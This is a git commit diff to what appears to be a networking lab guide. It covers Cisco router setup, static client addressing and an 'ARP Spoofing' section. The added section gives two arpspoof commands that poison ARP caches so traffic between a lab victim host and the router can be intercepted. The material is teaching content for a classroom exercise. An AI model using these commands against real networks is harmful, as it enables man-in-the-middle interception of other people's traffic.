Finalize Client Configuration and ARP Spoofing chapters

This commit is contained in:
Alex Tsaparas 2023-10-26 11:44:39 +02:00
parent 43f81f7a1e
commit 193389b229

View file

@ -4,8 +4,7 @@
![](./network_connection.png) ![](./network_connection.png)
## Router Configuration ## Router Configuration
- `XX`: - `XX`: Workplace number
Workplace number
```sh ```sh
# Enter configuration # Enter configuration
@ -44,14 +43,29 @@ exit
# Enable DHCP for inner network # Enable DHCP for inner network
service dhcp gi0/1 service dhcp gi0/1
exit exit
configure terminal
# Set default gateway # Set default gateway
ip route 0.0.0.0 0.0.0.0 10.3.44.1 ip route 0.0.0.0 0.0.0.0 10.3.44.1
exit
disable disable
``` ```
## Client Configuration ## Client Configuration
- `X`: Workplace number
```sh ```sh
ifconfig eth0 0.0.0.0 sudo -i
dhclient eth0 ifconfig eth0 192.168.1.1X netmask 255.255.255.0
# watch the result using the command below
ip addr show
```
## ARP Spoofing
```sh
# sudo arpspoof -i [interface] -t <victim> <victim's-target>
# Spy traffic from victim to router
sudo arpspoof -i eth0 -t 192.168.1.11 192.168.1.1
# Spy traffic from router to victim
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.11
``` ```